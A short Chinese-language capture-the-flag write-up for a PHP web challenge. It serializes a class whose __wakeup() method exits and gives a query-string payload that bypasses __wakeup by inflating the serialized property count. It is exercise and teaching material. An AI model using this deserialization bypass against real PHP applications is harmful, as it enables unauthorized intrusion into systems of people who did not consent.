步骤
打开所给场景
发现给了一段代码,发现有一个类,还有一个疑似get传参的参数code,尝试一下传参:
发现可以传入参数,而且类不再显示,并且提醒我们不能传数字,大胆猜想一下想要传递的值为序列化后的字符串
ok,我们将xctf类进行序列化:
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
echo serialize(new xctf());
?>
得到序列化字符串:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
传入试试:
发现输出了bad requests,分析源码可知:是调用了
__wakeup()
魔术方法退出了程序,而它会在反序列化之前自动调用,所以我们要绕过它,很简单,前面做过类似的题目(Web_php_unserialize),只需要让序列化之后字符串的属性值大于实际数目即可绕过
payload:
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
成功拿到flag~
总结
考察php反序列化以及php魔术方法的了解